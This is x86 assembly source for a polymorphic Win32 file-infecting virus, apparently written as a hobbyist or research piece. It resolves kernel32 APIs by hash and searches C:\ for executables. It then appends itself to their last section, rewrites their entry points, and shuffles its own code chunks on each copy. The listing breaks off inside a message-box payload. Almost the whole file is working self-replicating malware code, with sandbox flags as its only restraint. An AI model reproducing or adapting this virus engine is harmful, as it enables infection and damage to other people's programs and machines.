

; Framework
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


.386
.model flat


;[...]


.data
;[...]


.code
code:

prog:

;chain_begin

;[...]

nop
;chain_end

prog_end:


heap:
;[...]

heap_end:


host:
;[...]

host_end:


end code



; Functions
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


Main

  LoadSys

    GetKernel32

    GetApiTable

    LoadApi

      (Crc32)

    LoadTime

      (GetLocalTime)

    LoadRandom


  LifeTime


  Target

    (SystemTimeToFileTime)

    (GetCurrentDirectoryA)

    (SetCurrentDirectoryA)

    DeepFirst

      (FindFirstFileA)

      Select

        Rand

      TargetSave

        (GetCurrentDirectoryA)

      (FindNextFileA)

      (FindFirstFileA)

      (FindNextFileA)

      (FindNextFileA)

      (SetCurrentDirectoryA)

      DeepFirst...

      (SetCurrentDirectoryA)

      (FindNextFileA)


  Infect

    Map

      (CreateFileA)

      (GetFileSize)

      (CreateFileMappingA)

      (MapViewOfFile)

      Replicate 

      ReplicateAndMix

        Baker

        Baker

        Baker

      (UnmapViewOfFile)

      (CloseHandle)

      (CloseHandle)

      (UnmapViewOfFile)

      (CloseHandle)

      (SetFilePointer)

      (SetEndOfFile)

      (CloseHandle)


  Payload

    Rand

    (LoadLibraryA)

    (GetProcAddress)

    (MessageBoxA)

    (FreeLibrary)


Host



; Main
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


;Program has been keep such as modular as possible.
;Notice the use of fake proc (comments).
;First part is the obtention of delta offset, and such that.
;Second, the list of all the actions to take.
;Third, clean and return to host.


;Main proc
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;

call delta ;0
delta:
pop ebp

mov eax,ebp
sub ebp,offset delta
;
mov [ebp+OldEP],012345678h ;0
org $-4 ;0
OldEP_in dd (offset host - 000400000h)
;
mov [ebp+NewEP],012345678h ;0
org $-4 ;0
NewEP_in dd 000001000h
;
sub eax,5
sub eax,[ebp+NewEP]
mov [ebp+ModBase],eax

;

@@_call LoadSys
;
cmp eax,0
@@_jz e_Main

@@_call LifeTime
;
cmp eax,0
@@_jz e_Main

@@_call Target

@@_call Infect

@@_call Payload

e_Main:

;

mov ebx,[ebp+ModBase]
add ebx,[ebp+OldEP]
;
mov eax,0
lea edi,[ebp+heap]
mov ecx,@_HeapSize
rep stosb
;
jmp ebx
;;;;;;;;

;
;Main endp



; Sys
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


;macro

@_LoadApiListSize equ 18


;heap

OldEP dd 0
NewEP dd 0
ModBase dd 0

Kernel32 dd 0

GetApiTableSize dd 0
GetApiTableName dd 0
GetApiTableOrdi dd 0
GetApiTableAddr dd 0

LoadApiListCrc:
;
LoadLibraryACrc dd 0
FreeLibraryCrc dd 0
GetProcAddressCrc dd 0
GetLocalTimeCrc dd 0
SystemTimeToFileTimeCrc dd 0
GetCurrentDirectoryACrc dd 0
SetCurrentDirectoryACrc dd 0
FindFirstFileACrc dd 0
FindNextFileACrc dd 0
FindCloseCrc dd 0
CreateFileACrc dd 0
GetFileSizeCrc dd 0
CreateFileMappingACrc dd 0
MapViewOfFileCrc dd 0
UnmapViewOfFileCrc dd 0
SetFilePointerCrc dd 0
SetEndOfFileCrc dd 0
CloseHandleCrc dd 0

LoadApiListAddr:
;
LoadLibraryA dd 0
FreeLibrary dd 0
GetProcAddress dd 0
GetLocalTime dd 0
SystemTimeToFileTime dd 0
GetCurrentDirectoryA dd 0
SetCurrentDirectoryA dd 0
FindFirstFileA dd 0
FindNextFileA dd 0
FindClose dd 0
CreateFileA dd 0
GetFileSize dd 0
CreateFileMappingA dd 0
MapViewOfFile dd 0
UnmapViewOfFile dd 0
SetFilePointer dd 0
SetEndOfFile dd 0
CloseHandle dd 0

STime:
ST_wYear dw 00000h
ST_wMonth dw 00000h
ST_wDayOfWeek dw 00000h
ST_wDay dw 00000h
ST_wHour dw 00000h
ST_wMinute dw 00000h
ST_wSecond dw 00000h
ST_wMilliseconds dw 00000h

STimeSimple dd 0


;prog

LoadSys proc
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;

; GetKernel32 proc
;;;;;;;;;;;;;;;;

mov eax,[esp+4]
and eax,0FFFF0000h
;
mov ecx,5
_1_GetKernel32:
cmp word ptr [eax],"ZM"
@@_jz _2_GetKernel32
sub eax,000010000h
@@_loop _1_GetKernel32
;
@@_jmp e_GetKernel32
;
_2_GetKernel32:
mov [ebp+Kernel32],eax

;;;;;;;;;;;;;;;;
; GetKernel32 endp


; GetApiTable proc
;;;;;;;;;;;;;;;;

mov ebx,[ebp+Kernel32] ; ebx -> "MZ"
mov eax,[ebx+03Ch]
add eax,[ebp+Kernel32]
mov ebx,eax ; ebx -> "PE\0\0"
mov eax,[ebx+078h]
add eax,[ebp+Kernel32]
mov ebx,eax ; ebx -> ExportDirectory
mov eax,[ebx+018h]
mov [ebp+GetApiTableSize],eax ; NumberOfNames
mov eax,[ebx+01Ch]
add eax,[ebp+Kernel32]
mov [ebp+GetApiTableAddr],eax ; *AddressOfFunctions
mov eax,[ebx+020h]
add eax,[ebp+Kernel32]
mov [ebp+GetApiTableName],eax ; *AddressOfNames
mov eax,[ebx+024h]
add eax,[ebp+Kernel32]
mov [ebp+GetApiTableOrdi],eax ; *AddressOfNameOrdinals

;;;;;;;;;;;;;;;;
; GetApiTable endp


; LoadApi proc
;;;;;;;;;;;;;;;;

mov [ebp+LoadLibraryACrc],03fc1bd8dh
mov [ebp+FreeLibraryCrc],0da68238fh
mov [ebp+GetProcAddressCrc],0c97c1fffh
mov [ebp+GetLocalTimeCrc],01bb43d20h
mov [ebp+SystemTimeToFileTimeCrc],038f590bbh
mov [ebp+GetCurrentDirectoryACrc],0c79dc4e3h
mov [ebp+SetCurrentDirectoryACrc],069b6849fh
mov [ebp+FindFirstFileACrc],0c9ebd5ceh
mov [ebp+FindNextFileACrc],075272948h
mov [ebp+FindCloseCrc],0d82bf69ah
mov [ebp+CreateFileACrc],0553b5c78h
mov [ebp+GetFileSizeCrc],0a7fb4165h
mov [ebp+CreateFileMappingACrc],0b41b926ch
mov [ebp+MapViewOfFileCrc],0a89b382fh
mov [ebp+UnmapViewOfFileCrc],0391ab6afh
mov [ebp+SetFilePointerCrc],0efc7ea74h
mov [ebp+SetEndOfFileCrc],02519b15ah
mov [ebp+CloseHandleCrc],0b09315f4h


push @_LoadApiListSize
;
mov edx,[ebp+GetApiTableName]
mov ecx,[ebp+GetApiTableSize]
;
_1_LoadApi:
push ecx
mov esi,[edx]
add esi,[ebp+Kernel32]

push edx
;
@@_call Crc32
;
pop edx
mov ebx,eax

lea esi,[ebp+LoadApiListCrc]
mov ecx,@_LoadApiListSize
_2_LoadApi:
lodsd
cmp eax,ebx
@@_jz _3_LoadApi
@@_loop _2_LoadApi

_4_LoadApi:
add edx,4
pop ecx
@@_loop _1_LoadApi 
;
pop eax
@@_jmp e_LoadApi


_3_LoadApi:
mov eax,@_LoadApiListSize
sub eax,ecx
shl eax,2
lea edi,[ebp+LoadApiListAddr]
add edi,eax
;
mov eax,[ebp+GetApiTableSize]
pop ecx
push ecx
sub eax,ecx
shl eax,1
mov esi,[ebp+GetApiTableOrdi]
add esi,eax
mov eax,[esi]
and eax,00000FFFFh
shl eax,2
mov esi,[ebp+GetApiTableAddr]
add esi,eax
mov eax,[esi]
add eax,[ebp+Kernel32]
;
mov [edi],eax

pop ecx
pop eax
dec eax
@@_jz _5_LoadApi
;
push eax
push ecx
@@_jmp _4_LoadApi 

_5_LoadApi:

;;;;;;;;;;;;;;;;
; LoadApi endp


; LoadTime proc
;;;;;;;;;;;;;;;;

lea eax,[ebp+STime]
push eax
;
call [ebp+GetLocalTime]

xor ebx,ebx
;
mov eax,dword ptr [ebp+ST_wYear]
sub eax,1900
and eax,0000000FFh
add ebx,eax
shl ebx,8
mov eax,dword ptr [ebp+ST_wMonth]
and eax,0000000FFh
add ebx,eax
shl ebx,8
mov eax,dword ptr [ebp+ST_wDay]
and eax,0000000FFh
add ebx,eax
shl ebx,8
mov eax,dword ptr [ebp+ST_wHour]
and eax,0000000FFh
add ebx,eax
;
mov [ebp+STimeSimple],ebx

;;;;;;;;;;;;;;;;
; LoadTime endp


; LoadRandom proc
;;;;;;;;;;;;;;;;

mov eax,dword ptr [ebp+ST_wSecond]
mov [ebp+RandSeed],eax

;;;;;;;;;;;;;;;;
; LoadRandom endp


xor eax,eax
inc eax
ret
;;;;;;;;

e_LoadSys:
;
e_GetKernel32:
e_GetApiTable:
e_LoadApi:
;
xor eax,eax
ret
;;;;;;;;
;
LoadSys endp



; LifeTime
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


;LifeTime it's used to have more control on virus spreadship.

;macro

;LifeTime
@_LifeTimeMin equ 066010100h
@_LifeTimeMax equ 067010100h
; Four one-byte fields: year-1900, month, day, hour, in this order.


;prog

LifeTime proc
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;

or ebp,ebp
@@_jz _1_LifeTime

mov eax,[ebp+STimeSimple]
;
mov ebx,@_LifeTimeMin
cmp eax,ebx
@@_jb _2_LifeTime
;
mov ebx,@_LifeTimeMax
cmp eax,ebx
@@_ja _2_LifeTime


_1_LifeTime:
xor eax,eax
inc eax
ret
;;;;;;;;

_2_LifeTime:
xor eax,eax
ret
;;;;;;;;
;
LifeTime endp



; Target
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


;macro

; Modes
@_ModeOnTarget equ 1
; Only infects "target.exe", in current dir, in first generation.
@_ModeSandBox equ 1
; Only "C:\*.exe" files are look for infection.

;Target
@_TargetNum equ 5
@_TargetSelectSizeMax equ 000040000h ; = 262.144 Bytes
@_TargetSelectTimeMask equ 0FFFFF800h ; Last 10 days (aprox)
@_TargetSelectRandMask equ 0FFFFFFFFh ; 0F0000000h ; 1/8
; Target search filters.
;  Will search for 5 Win32 PE writable files.
;  Small than 256KB, last accessed in past 10 days.
;  Requirements filled, will choose present file only 1 time of 8, in order of appearence. 

@_PathSize equ 260 ; = 00104h


;heap

MAX_PATH equ 260
;
FILETIME STRUC
FT_dwLowDateTime dd 0
FT_dwHighDateTime dd 0
FILETIME ENDS
;
WFD:
WFD_dwFileAttributes dd 0
WFD_ftCreationTime FILETIME ?
WFD_ftLastAccessTime FILETIME ?
WFD_ftLastWriteTime FILETIME ?
WFD_nFileSizeHigh dd 0
WFD_nFileSizeLow dd 0
WFD_dwReserved0 dd 0
WFD_dwReserved1 dd 0
WFD_szFileName db MAX_PATH dup (0)
WFD_szAlternateFileName db 14 dup (0)
db 0,0 ;align

ExeRest dd 0

STimeTargetSelect dd 0
STimeFile FILETIME ?

DirCurrentIsRoot dd 0
;
DirRoot dd 0
DirDotDouble dd 0
DirDot dd 0
;
DirSearchHandle dd 0
DirMask dd 0,0
ExeSearchHandle dd 0
ExeMask dd 0,0
;
DirInitial db @_PathSize dup (0)
DirCurrent db @_PathSize dup (0)

TargetFileNamesPointer dd 0
TargetFileNames db @_PathSize*@_TargetNum dup (0)


;prog


;Target only prepares and restores the situation around DeepFirst, the main search routine. 


Target proc
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;

lea eax,[ebp+TargetFileNames]
mov [ebp+TargetFileNamesPointer],eax

or ebp,ebp
@@_jnz _1_Target
;
mov eax,@_ModeOnTarget
or eax,eax
@@_jz _1_Target
;
lea esi,[ebp+ModeOnTargetFileName]
mov edi,[ebp+TargetFileNamesPointer]
mov ecx,[ebp+ModeOnTargetFileNameSize]
rep movsb
;
add [ebp+TargetFileNamesPointer],@_PathSize
;
@@_jmp _2_Target


_1_Target:

lea eax,[ebp+STimeFile]
push eax
lea eax,[ebp+STime]
push eax
;
call [ebp+SystemTimeToFileTime]
;
mov eax,[ebp+STimeFile.FT_dwHighDateTime]
and eax,@_TargetSelectTimeMask
mov [ebp+STimeTargetSelect],eax

mov [ebp+DirRoot],"\:C"
mov [ebp+DirDot],"."
mov [ebp+DirDotDouble],".."
mov [ebp+DirMask],".*"
mov [ebp+ExeMask],"xe.*"
mov [ebp+ExeMask+4],"e"

lea eax,[ebp+DirInitial]
push eax
push @_PathSize
;
call [ebp+GetCurrentDirectoryA]
;
or eax,eax
@@_jz e_Target
cmp eax,@_PathSize
@@_ja e_Target

lea eax,[ebp+DirRoot]
push eax
;
call [ebp+SetCurrentDirectoryA]
;
or eax,eax
@@_jz e_Target

mov [ebp+DirCurrentIsRoot],1
mov [ebp+ExeRest],@_TargetNum
;
@@_call DeepFirst

lea eax,[ebp+DirInitial]
push eax
;
call [ebp+SetCurrentDirectoryA]
;
or eax,eax
@@_jz e_Target


_2_Target:
xor eax,eax
inc eax
ret
;;;;;;;;

e_Target:
xor eax,eax
ret
;;;;;;;;
;
Target endp



;Well, a classic deepfirst search on C:\
;Once in a directory, it searches for exes, and looks if they meet the requirements (Select).
;If so, its name are saved (TargetSave).
;Exes seen, it seraches for subdirs, and recursively enters in they, one by one.


DeepFirst proc
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;

; EXE part
;;;;;;;;;;;;;;;;

lea eax,[ebp+WFD]
push eax
lea eax,[ebp+ExeMask]
push eax
;
call [ebp+FindFirstFileA]
;
inc eax
@@_jz _1_DeepFirst
dec eax
mov [ebp+ExeSearchHandle],eax

_2_DeepFirst:

@@_call Select
;
or eax,eax
@@_jz _3_DeepFirst

@@_call TargetSave
;
or eax,eax
@@_jnz _7_DeepFirst

_3_DeepFirst:

lea eax,[ebp+WFD]
push eax
push [ebp+ExeSearchHandle]
;
call [ebp+FindNextFileA]
;
or eax,eax
@@_jnz _2_DeepFirst

;;;;;;;;;;;;;;;;
; EXE part


_1_DeepFirst:


; DIR part
;;;;;;;;;;;;;;;;

@@_jmp _7_DeepFirst

mov eax,@_ModeSandBox
or eax,eax
@@_jnz _7_DeepFirst

lea eax,[ebp+WFD]
push eax
lea eax,[ebp+DirMask]
push eax
;
call [ebp+FindFirstFileA]
;
mov [ebp+DirSearchHandle],eax
;
mov eax,[ebp+DirCurrentIsRoot]
or eax,eax
@@_jz _8_DeepFirst
mov [ebp+DirCurrentIsRoot],0
@@_jmp _4_DeepFirst
;
_8_DeepFirst:

lea eax,[ebp+WFD]
push eax
push [ebp+DirSearchHandle]
;
call [ebp+FindNextFileA]

lea eax,[ebp+WFD]
push eax
push [ebp+DirSearchHandle]
;
call [ebp+FindNextFileA]
;
or eax,eax
@@_jz _6_DeepFirst


_4_DeepFirst:

lea eax,[ebp+WFD_szFileName]
push eax
;
call [ebp+SetCurrentDirectoryA]
;
or eax,eax
@@_jz _5_DeepFirst

push [ebp+DirSearchHandle]
;
@@_call DeepFirst
;
pop [ebp+DirSearchHandle]
or eax,eax
@@_jnz _7_DeepFirst

lea eax,[ebp+DirDotDouble]
push eax
;
call [ebp+SetCurrentDirectoryA]

_5_DeepFirst:

lea eax,[ebp+WFD]
push eax
push [ebp+DirSearchHandle]
;
call [ebp+FindNextFileA]
;
or eax,eax
@@_jnz _4_DeepFirst

;;;;;;;;;;;;;;;;
; DIR part


_6_DeepFirst:
xor eax,eax
ret
;;;;;;;;

_7_DeepFirst:
xor eax,eax
inc eax
ret
;;;;;;;;
;
DeepFirst endp



Select proc
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;

mov eax,@_ModeSandBox
or eax,eax
@@_jnz _1_Select


mov eax,[ebp+WFD_ftLastAccessTime.FT_dwHighDateTime]
and eax,@_TargetSelectTimeMask
cmp eax,[ebp+STimeTargetSelect]
@@_jnz _2_Select

mov eax,[ebp+WFD_nFileSizeHigh]
or eax,eax
@@_jnz _2_Select
mov eax,[ebp+WFD_nFileSizeLow]
cmp eax,@_TargetSelectSizeMax
@@_ja _2_Select

@@_call Rand
and eax,@_TargetSelectRandMask
@@_jnz _2_Select


_1_Select:
xor eax,eax
inc eax
ret
;;;;;;;;

_2_Select:
xor eax,eax
ret
;;;;;;;;
;
Select endp



TargetSave proc
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;

push [ebp+TargetFileNamesPointer]
push @_PathSize
;
call [ebp+GetCurrentDirectoryA]
;
or eax,eax
@@_jz e_TargetSave
cmp eax,@_PathSize
@@_ja e_TargetSave

mov edi,[ebp+TargetFileNamesPointer]
add edi,eax
dec edi
cmp byte ptr [edi],"\"
@@_jz _1_TargetSave
inc edi
mov byte ptr [edi],"\"
_1_TargetSave:
inc edi

mov ebx,edi
add ebx,@_PathSize-1

lea esi,[ebp+WFD_szFileName]
;
_2_TargetSave:
cmp edi,ebx
@@_ja e_TargetSave
lodsb
stosb
or eax,eax
@@_jnz _2_TargetSave
;
_3_TargetSave:

add [ebp+TargetFileNamesPointer],@_PathSize
dec [ebp+ExeRest]
@@_jnz _4_TargetSave


xor eax,eax
inc eax
ret
;;;;;;;;

_4_TargetSave:
;
e_TargetSave:
xor eax,eax
ret
;;;;;;;;
;
TargetSave endp



; Infect
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


;macro

;Modes
@_ModeNoPoly equ 0

;LinkPos
@_LinkSize equ 24 ; = 018h
@_LinkPosNlj equ 12
@_LinkPosTrash equ 17
@_LinkPosTrashSize equ 6
@_LinkPosReloc equ 23
; Link structure

@_ProgSize equ (offset prog_end - offset prog)
@_HeapSize equ (offset heap_end - offset heap)
@_VirusSize equ (@_ProgSize + @_HeapSize)
;
@_FileAligns equ ((@_VirusSize/01000h+1)*01000h)
@_SectAligns equ ((@_VirusSize/01000h+1)*01000h)
;
@_ChainSize equ (@_ProgSize/@_LinkSize - 1)


;heap

TargetFileHandle dd 0
TargetFileSize dd 0
TargetMapHandle dd 0
TargetMapAddress dd 0

ReplicateSource dd 0
ReplicateDest dd 0


;prog


;Infects saved targets one by one. 


Infect proc
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;

_1_Infect:
lea eax,[ebp+TargetFileNames]
cmp eax,[ebp+TargetFileNamesPointer]
@@_jz _2_Infect
;
sub [ebp+TargetFileNamesPointer],@_PathSize
;
@@_call Map

@@_jmp _1_Infect
;
_2_Infect:

ret
;;;;;;;;
;
Infect endp



;Does all the file system job, lots of APIs for open and close.
;Checks if the file is like supposed, and sets again sizes and entrypoints.


Map proc
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;

push 0
push 0
push 000000003h
push 0
push 0
push 0C0000000h
push [ebp+TargetFileNamesPointer]
;
call [ebp+CreateFileA]
;
inc eax
jz e1_Map
dec eax
mov [ebp+TargetFileHandle],eax

push 0
push [ebp+TargetFileHandle]
;
call [ebp+GetFileSize]
;
inc eax
jz e2_Map
dec eax
mov [ebp+TargetFileSize],eax
;
push 0
add eax,@_FileAligns
push eax
push 0
push 000000004h
push 0
push [ebp+TargetFileHandle]
;
call [ebp+CreateFileMappingA]
;
or eax,eax
@@_jz e2_Map
mov [ebp+TargetMapHandle],eax

push 0
push 0
push 0
push 000000002h
push [ebp+TargetMapHandle]
;
call [ebp+MapViewOfFile]
;
or eax,eax
@@_jz e3_Map
mov [ebp+TargetMapAddress],eax

mov ebx,[ebp+TargetMapAddress] ; ebx -> TargetMapAddress, "MZ"
cmp word ptr [ebx],"ZM"
@@_jnz e4_Map
mov edx,ebx
add edx,[ebx+03Ch] ; edx -> "PE\0\0"
cmp dword ptr [edx],"EP"
@@_jnz e4_Map
cmp dword ptr [edx+038h],01000h ; SectionAlignment
@@_jnz e4_Map
cmp dword ptr [edx+03Ch],00200h ; FileAlignment
@@_jz _3_Map
cmp dword ptr [edx+03Ch],00400h ; FileAlignment
@@_jz _3_Map
cmp dword ptr [edx+03Ch],01000h ; FileAlignment
@@_jz _3_Map
@@_jmp e4_Map
_3_Map:
cmp word ptr [edx+014h],000E0h ; SizeOfOptionalHeader
@@_jnz e4_Map
;
lea ebx,[edx+0F8h] ; ebx -> SectionTable
mov ecx,[edx+006h]
and ecx,00000FFFFh
dec ecx
mov eax,000000028h
push edx
mul ecx
pop edx
add ebx,eax ; ebx -> LastSection
mov eax,[ebx+024h] ; SH + Characteristics
and eax,00FFFFFFFh
cmp eax,000000040h
@@_jnz e4_Map
;
mov eax,[edx+028h] ; AddressOfEntryPoint
mov [ebp+OldEP_in],eax ;a2
;
mov eax,[ebx+00Ch] ; SH + VirtualAddress
add eax,[ebx+010h] ; SH + SizeOfRawData
mov [ebp+NewEP_in],eax ;a2

lea esi,[ebp+prog]
mov edi,[ebp+TargetMapAddress]
add edi,[ebx+014h] ; SH + PointerToRawData
add edi,[ebx+010h] ; SH + SizeOfRawData
;
push edx
push ebx
;
mov eax,@_ModeNoPoly
@@_jnz _1_Map
;
@@_call ReplicateAndMix
@@_jmp _2_Map
;
_1_Map:
@@_call Replicate
;
_2_Map:
;
pop ebx
pop edx

add dword ptr [ebx+008h],@_SectAligns ; SH + VirtualSize
add dword ptr [ebx+010h],@_FileAligns ; SH + SizeOfRawData
or [ebx+024h],0E0000000h  ; SH + Characteristics
;
add dword ptr [edx+050h],@_SectAligns ; SizeOfImage
add dword ptr [edx+020h],@_FileAligns ; SizeOfInitializedData
mov eax,[ebp+NewEP_in] ;a2
mov [edx+028h],eax ; AddressOfEntryPoint

push [ebp+TargetMapAddress]
;
call [ebp+UnmapViewOfFile]

push [ebp+TargetMapHandle]
;
call [ebp+CloseHandle]

push [ebp+TargetFileHandle]
;
call [ebp+CloseHandle]

ret
;;;;;;;;


e4_Map:
push [ebp+TargetMapAddress]
;
call [ebp+UnmapViewOfFile]

e3_Map:
push [ebp+TargetMapHandle]
;
call [ebp+CloseHandle]

push 0
push 0
push [ebp+TargetFileSize]
push [ebp+TargetFileHandle]
;
call [ebp+SetFilePointer]

push [ebp+TargetFileHandle]
;
call [ebp+SetEndOfFile]

e2_Map:
push [ebp+TargetFileHandle]
;
call [ebp+CloseHandle]

e1_Map:

ret
;;;;;;;;
;
Map endp



;Hehe, simple copy process for debug purposes.


Replicate proc
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;

mov ecx,@_ProgSize
rep movsb

ret
;;;;;;;;
;
Replicate endp



;Hehehehe, complex copy process, maybe the only new in this code.
;First, it chooses how will Baker mix.
;Then comes the part of moving a link.
;Then adjust its nlj.
;If this link contains reloc info, something has to be relocated.
;First relative relocs.
;Second absolute relocs.
;Finally, new random trash are added.


ReplicateAndMix proc
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;

mov [ebp+ReplicateSource],esi
mov [ebp+ReplicateDest],edi
;
mov eax,dword ptr [ebp+ST_wSecond]
and eax,00000FFFFh
add eax,30
mov [ebp+BakerTimes],eax
;
mov ecx,@_ChainSize
add esi,(@_ChainSize+1)*@_LinkSize


_1_ReplicateAndMix:
;
push ecx
sub esi,@_LinkSize
mov edi,[ebp+ReplicateDest]

mov eax,ecx
@@_call Baker
mov ebx,@_LinkSize
mul ebx
add edi,eax
push esi
push edi
mov ecx,@_LinkSize
rep movsb
pop edi
pop esi

mov ebx,@_LinkPosNlj+1
;
push ebx
add ebx,esi
mov eax,ebx
add eax,4
add eax,[ebx]
sub eax,[ebp+ReplicateSource]
mov ebx,@_LinkSize
div ebx
@@_call Baker
mov ebx,@_LinkSize
mul ebx
add eax,[ebp+ReplicateDest]
pop ebx
add ebx,edi
sub eax,ebx
sub eax,4
mov [ebx],eax


mov ebx,[esi+@_LinkPosReloc]
and ebx,0000000FFh
@@_jz _2_ReplicateAndMix
cmp ebx,080h
@@_ja _3_ReplicateAndMix

push ebx
add ebx,esi
mov eax,ebx
add eax,4
add eax,[ebx]
sub eax,[ebp+ReplicateSource]
mov ebx,@_LinkSize
div ebx
@@_call Baker
mov ebx,@_LinkSize
mul ebx
add eax,[ebp+ReplicateDest]
pop ebx
add ebx,edi
sub eax,ebx
sub eax,4
mov [ebx],eax
;
@@_jmp _2_ReplicateAndMix

_3_ReplicateAndMix:
sub ebx,080h
push ebx
add ebx,esi
mov eax,[ebx]
sub eax,offset prog
mov ebx,@_LinkSize
div ebx
push edx
@@_call Baker
mov ebx,@_LinkSize
mul ebx
add eax,offset prog
pop edx
add eax,edx
pop ebx
add ebx,edi
mov [ebx],eax

_2_ReplicateAndMix:

push edi
add edi,@_LinkPosTrash
mov ecx,@_LinkPosTrashSize
;
_4_ReplicateAndMix:
@@_call Rand
shr eax,24
stosb
@@_loop _4_ReplicateAndMix
;
pop edi

pop ecx
dec ecx
@@_jns _1_ReplicateAndMix


ret
;;;;;;;;
;
ReplicateAndMix endp



; Maths
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


;This is proc has been copy&pasted.
;With a slightly difference; it does not include the final 0 in strings in the calculus.
;So, be warned crc's produced are completly different from other people ones. 


Crc32 proc
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;

xor ecx,ecx
dec ecx
mov edx,ecx
;
_1_Crc32:
xor eax,eax
xor ebx,ebx
lodsb
or eax,eax
@@_jz _4_Crc32
;
xor al,cl
mov cl,ch
mov ch,dl
mov dl,dh
mov dh,8
;
_2_Crc32:
shr bx,1
rcr ax,1
@@_jnc _3_Crc32
xor ax,08320h
xor bx,0EDB8h
_3_Crc32:
dec dh
@@_jnz _2_Crc32
;
xor ecx,eax
xor edx,ebx
@@_jmp _1_Crc32
;
_4_Crc32:
not edx
not ecx
mov eax,edx
rol eax,16
mov ax,cx

ret
;;;;;;;;
;
Crc32 endp



;This random proc has been coded based in a function a book says was used in Turbo Pascal.
;It's Xn+1 = (129*Xn + 907633385) mod 2^32


;heap

RandSeed dd 0


;prog

Rand proc
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;

mov eax,[ebp+RandSeed]
mov ebx,eax
shl eax,7
add eax,ebx
add eax,0361962E9h
mov [ebp+RandSeed],eax

ret
;;;;;;;;
;
Rand endp



;This function appears, for example, in James Gleick "Chaos" book.
;It's close to the process of mixing playing cards.
;It's: if Xn in [0,N/2] then Xn+1 = 2*Xn, if Xn in [N/2+1,N] then Xn+1 = 2 - 2*Xn, N even.


;heap

BakerTimes dd 0


;prog

Baker proc
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;

mov ebx,@_ChainSize
mov ecx,[ebp+BakerTimes]
;
_1_Baker:
shl eax,1
cmp eax,ebx
@@_jna _2_Baker
sub eax,ebx
neg eax
add eax,ebx
inc eax
_2_Baker:
@@_loop _1_Baker

ret
;;;;;;;;
;
Baker endp



; Payload
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


;Inoffensive payload showing some stupid messagebox.
;This procedure shows how to dinamically load APIs.
;Also shows how to put all the variables in the stack instead of heap. 


;macro

;Payload
@_PayloadTimeMask equ 00000FF00h
; Only days are looked.
@_PayloadTime equ 000000100h
; Will activate at 1st of each month.
@_PayloadRandMask equ 0F0000000h
; Will activate only 1 time of 8.


;prog

Payload proc
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;

or ebp,ebp
@@_jz _1_Payload

mov eax,@_ModeSandBox
or eax,eax
@@_jnz _1_Payload

mov eax,[ebp+STimeSimple]
and eax,@_PayloadTimeMask
cmp eax,@_PayloadTime
@@_jnz _2_Payload

@@_call Rand
and eax,@_PayloadRandMask
@@_jnz _2_Payload

_1_Payload:

sub esp,25*4
;User32ModuleHandle
;MessageBoxA2
;strings 23

mov byte ptr [esp+2*4+00],"U"
mov byte ptr [esp+2*4+01],"S"
mov byte ptr [esp+2*4+02],"E"
mov byte ptr [esp+2*4+03],"R"
mov byte ptr [esp+2*4+04],"3"
mov byte ptr [esp+2*4+05],"2"
mov byte ptr [esp+2*4+06],"."
mov byte ptr [esp+2*4+07],"D"
mov byte ptr [esp+2*4+08],"L"
mov byte ptr [esp+2*4+09],"L"
mov byte ptr [esp+2*4+10],0
;
lea eax,[esp+2*4]
push eax
;
call [ebp+LoadLibraryA]
;
or eax,eax
@@_jz e_Payload
mov [esp+0*4],eax

mov byte ptr [esp+2*4+00],"M"
mov byte ptr [esp+2*4+01],"e"
mov byte ptr [esp+2*4+02],"s"
mov byte ptr [esp+2*4+03],"s"
mov byte ptr [esp+2*4+04],"a"
mov byte ptr [esp+2*4+05],"g"
mov byte ptr [esp+2*4+06],"e"
mov byte ptr [esp+2*4+07],"B"
mov byte ptr [esp+2*4+08],"o"
mov byte ptr [esp+2*4+09],"x"
mov byte ptr [esp+2*4+10],"A"
mov byte ptr [esp+2*4+11],0
;
lea eax,[esp+2*4]
push eax
push dword ptr [esp+0*4+4]
;
call [ebp+GetProcAddress]
;
or eax,eax
@@_jz e01_Payload
mov [esp+1*4],eax

mov byte ptr [esp+2*4+00],"S"
mov byte ptr [esp+2*4+01],"p"
mov byte ptr [esp+2*4+02],"e"
mov byte ptr [esp+2*4+03],"c"
mov byte ptr [esp+2*4+04],"i"
mov byte ptr [esp+2*4+05],"a"
mov byte ptr [esp+2*4+06],"l"
mov byte ptr [esp+2*4+07]," "
mov byte ptr [esp+2*4+08],"O"
